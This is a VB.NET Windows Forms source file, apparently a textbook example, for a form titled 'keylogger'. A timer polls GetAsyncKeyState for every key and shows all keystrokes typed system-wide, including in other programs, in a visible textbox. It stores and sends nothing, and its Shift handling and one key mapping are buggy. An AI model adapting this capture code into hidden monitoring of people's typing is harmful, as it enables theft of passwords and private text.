form1.vb

来自「Visual.Basic.NET实用编程百例-47.6M.zip」· VB 代码 · 共 542 行

VB
542
字号
Friend Class Form1
    Inherits System.Windows.Forms.Form
#Region "Windows 窗体设计器生成的代码"
    Public Sub New()
        MyBase.New()
        '此调用是 Windows 窗体设计器所必需的。
        InitializeComponent()
    End Sub
    '窗体重写处置,以清理组件列表。
    Protected Overloads Overrides Sub Dispose(ByVal Disposing As Boolean)
        If Disposing Then
            If Not components Is Nothing Then
                components.Dispose()
            End If
        End If
        MyBase.Dispose(Disposing)
    End Sub
    'Windows 窗体设计器所必需的
    Private components As System.ComponentModel.IContainer
    Public ToolTip1 As System.Windows.Forms.ToolTip
    Public WithEvents Timer1 As System.Windows.Forms.Timer
    '注意: 以下过程是 Windows 窗体设计器所必需的
    '可以使用 Windows 窗体设计器来修改它。
    '不要使用代码编辑器修改它。
    Public WithEvents Button1 As System.Windows.Forms.Button
    Public WithEvents TextBox1 As System.Windows.Forms.TextBox
    Public WithEvents Timer2 As System.Windows.Forms.Timer
    <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
        Me.components = New System.ComponentModel.Container
        Me.ToolTip1 = New System.Windows.Forms.ToolTip(Me.components)
        Me.Button1 = New System.Windows.Forms.Button
        Me.TextBox1 = New System.Windows.Forms.TextBox
        Me.Timer1 = New System.Windows.Forms.Timer(Me.components)
        Me.Timer2 = New System.Windows.Forms.Timer(Me.components)
        Me.SuspendLayout()
        '
        'Button1
        '
        Me.Button1.BackColor = System.Drawing.SystemColors.Control
        Me.Button1.Cursor = System.Windows.Forms.Cursors.Default
        Me.Button1.ForeColor = System.Drawing.SystemColors.ControlText
        Me.Button1.Location = New System.Drawing.Point(112, 172)
        Me.Button1.Name = "Button1"
        Me.Button1.RightToLeft = System.Windows.Forms.RightToLeft.No
        Me.Button1.Size = New System.Drawing.Size(107, 27)
        Me.Button1.TabIndex = 1
        Me.Button1.Text = "退出程序"
        '
        'TextBox1
        '
        Me.TextBox1.AcceptsReturn = True
        Me.TextBox1.AutoSize = False
        Me.TextBox1.BackColor = System.Drawing.SystemColors.Window
        Me.TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
        Me.TextBox1.ForeColor = System.Drawing.SystemColors.WindowText
        Me.TextBox1.Location = New System.Drawing.Point(0, 0)
        Me.TextBox1.MaxLength = 0
        Me.TextBox1.Multiline = True
        Me.TextBox1.Name = "TextBox1"
        Me.TextBox1.ReadOnly = True
        Me.TextBox1.RightToLeft = System.Windows.Forms.RightToLeft.No
        Me.TextBox1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical
        Me.TextBox1.Size = New System.Drawing.Size(376, 165)
        Me.TextBox1.TabIndex = 0
        Me.TextBox1.TabStop = False
        Me.TextBox1.Text = ""
        '
        'Timer1
        '
        Me.Timer1.Enabled = True
        Me.Timer1.Interval = 1
        '
        'Timer2
        '
        Me.Timer2.Enabled = True
        Me.Timer2.Interval = 1000
        '
        'Form1
        '
        Me.AutoScaleBaseSize = New System.Drawing.Size(6, 14)
        Me.BackColor = System.Drawing.SystemColors.Control
        Me.ClientSize = New System.Drawing.Size(374, 208)
        Me.Controls.Add(Me.Button1)
        Me.Controls.Add(Me.TextBox1)
        Me.Cursor = System.Windows.Forms.Cursors.Default
        Me.Location = New System.Drawing.Point(4, 24)
        Me.Name = "Form1"
        Me.RightToLeft = System.Windows.Forms.RightToLeft.No
        Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
        Me.Text = "键盘记录器"
        Me.ResumeLayout(False)

    End Sub
#End Region

    Private KeyLoop As Integer
    Private FoundKeys As String
    Private KeyResult As Integer
    Private Sub Button1_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Button1.Click
        End
    End Sub

    Public Sub Form1_Load(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles MyBase.Load
        Dim TimeOut As Object
        Dim LastKey As Object
        LastKey = ""
        TimeOut = 0
    End Sub

    Private Sub Timer1_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer1.Tick
        Dim TimeOut As Object
        Dim LastKey As Object
        Dim AddKey As Object


        KeyResult = GetAsyncKeyState(13)
        If KeyResult = -32767 Then
            AddKey = "[ENTER]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(17)
        If KeyResult = -32767 Then
            AddKey = "[CTRL]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(8)
        If KeyResult = -32767 Then
            AddKey = "[BKSPACE]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(9)
        If KeyResult = -32767 Then
            AddKey = "[TAB]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(18)
        If KeyResult = -32767 Then
            AddKey = "[ALT]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(19)
        If KeyResult = -32767 Then
            AddKey = "[PAUSE]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(20)
        If KeyResult = -32767 Then
            AddKey = "[CAPS]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(27)
        If KeyResult = -32767 Then
            AddKey = "[ESC]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(33)
        If KeyResult = -32767 Then
            AddKey = "[PGUP]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(34)
        If KeyResult = -32767 Then
            AddKey = "[PGDN]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(35)
        If KeyResult = -32767 Then
            AddKey = "[END]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(36)
        If KeyResult = -32767 Then
            AddKey = "[HOME]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(44)
        If KeyResult = -32767 Then
            AddKey = "[SYSRQ]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(45)
        If KeyResult = -32767 Then
            AddKey = "[INS]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(46)
        If KeyResult = -32767 Then
            AddKey = "[DEL]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(144)
        If KeyResult = -32767 Then
            AddKey = "[NUM]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(37)
        If KeyResult = -32767 Then
            AddKey = "[LEFT]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(38)
        If KeyResult = -32767 Then
            AddKey = "[UP]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(39)
        If KeyResult = -32767 Then
            AddKey = "[RIGHT]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(40)
        If KeyResult = -32767 Then
            AddKey = "[DOWN]"
            GoTo KeyFound
        End If

        '------------FUNCTION KEYS

        KeyResult = GetAsyncKeyState(112)
        If KeyResult = -32767 Then
            AddKey = "[F1]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(113)
        If KeyResult = -32767 Then
            AddKey = "[F2]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(114)
        If KeyResult = -32767 Then
            AddKey = "[F3]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(115)
        If KeyResult = -32767 Then
            AddKey = "[F4]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(116)
        If KeyResult = -32767 Then
            AddKey = "[F5]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(117)
        If KeyResult = -32767 Then
            AddKey = "[F6]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(118)
        If KeyResult = -32767 Then
            AddKey = "[F7]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(119)
        If KeyResult = -32767 Then
            AddKey = "[F8]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(120)
        If KeyResult = -32767 Then
            AddKey = "[F9]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(121)
        If KeyResult = -32767 Then
            AddKey = "[F10]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(122)
        If KeyResult = -32767 Then
            AddKey = "[F11]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(123)
        If KeyResult = -32767 Then
            AddKey = "[F12]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(124)
        If KeyResult = -32767 Then
            AddKey = "[F13]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(125)
        If KeyResult = -32767 Then
            AddKey = "[F14]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(126)
        If KeyResult = -32767 Then
            AddKey = "[F15]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(127)
        If KeyResult = -32767 Then
            AddKey = "[F16]"
            GoTo KeyFound
        End If

        '------------SEPCIAL KEYS

        KeyResult = GetAsyncKeyState(32)
        If KeyResult = -32767 Then
            AddKey = " "
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(186)
        If KeyResult = -32767 Then
            AddKey = ";"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(187)
        If KeyResult = -32767 Then
            AddKey = "="
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(188)
        If KeyResult = -32767 Then
            AddKey = ","
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(189)
        If KeyResult = -32767 Then
            AddKey = "-"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(190)
        If KeyResult = -32767 Then
            AddKey = "."
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(191)
        If KeyResult = -32767 Then
            AddKey = "/" '/
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(192)
        If KeyResult = -32767 Then
            AddKey = "`" '`
            GoTo KeyFound
        End If



        '----------NUM PAD
        KeyResult = GetAsyncKeyState(96)
        If KeyResult = -32767 Then
            AddKey = "0"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(97)
        If KeyResult = -32767 Then
            AddKey = "1"
            GoTo KeyFound
        End If


        KeyResult = GetAsyncKeyState(98)
        If KeyResult = -32767 Then
            AddKey = "2"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(99)
        If KeyResult = -32767 Then
            AddKey = "3"
            GoTo KeyFound
        End If


        KeyResult = GetAsyncKeyState(100)
        If KeyResult = -32767 Then
            AddKey = "4"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(101)
        If KeyResult = -32767 Then
            AddKey = "5"
            GoTo KeyFound
        End If


        KeyResult = GetAsyncKeyState(102)
        If KeyResult = -32767 Then
            AddKey = "6"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(103)
        If KeyResult = -32767 Then
            AddKey = "7"
            GoTo KeyFound
        End If


        KeyResult = GetAsyncKeyState(104)
        If KeyResult = -32767 Then
            AddKey = "8"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(105)
        If KeyResult = -32767 Then
            AddKey = "9"
            GoTo KeyFound
        End If


        KeyResult = GetAsyncKeyState(106)
        If KeyResult = -32767 Then
            AddKey = "*"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(107)
        If KeyResult = -32767 Then
            AddKey = "+"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(108)
        If KeyResult = -32767 Then
            AddKey = "[ENTER]"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(109)
        If KeyResult = -32767 Then
            AddKey = "-"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(110)
        If KeyResult = -32767 Then
            AddKey = "."
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(2)
        If KeyResult = -32767 Then
            AddKey = "/"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(220)
        If KeyResult = -32767 Then
            AddKey = "\"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(222)
        If KeyResult = -32767 Then
            AddKey = "'"
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(221)
        If KeyResult = -32767 Then
            AddKey = "]"


            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(219) '219
        If KeyResult = -32767 Then
            AddKey = "["
            GoTo KeyFound
        End If

        KeyResult = GetAsyncKeyState(16) '219
        If KeyResult = -32767 And TimeOut = 0 Then
            AddKey = "[SHIFT]"
            LastKey = AddKey
            TimeOut = 1
            GoTo KeyFound
        End If
        'Skip:
        KeyLoop = 41

        Do Until KeyLoop = 256 ' otherwise check For numbers and letters
            KeyResult = GetAsyncKeyState(KeyLoop)
            If KeyResult = -32767 Then TextBox1.Text = TextBox1.Text & Chr(KeyLoop)
            KeyLoop = KeyLoop + 1
        Loop
        LastKey = AddKey
        Exit Sub
KeyFound:



        TextBox1.Text = TextBox1.Text & AddKey
    End Sub

    Private Sub Timer2_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer2.Tick
        Dim TimeOut As Object
        TimeOut = 0
    End Sub
End Class

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?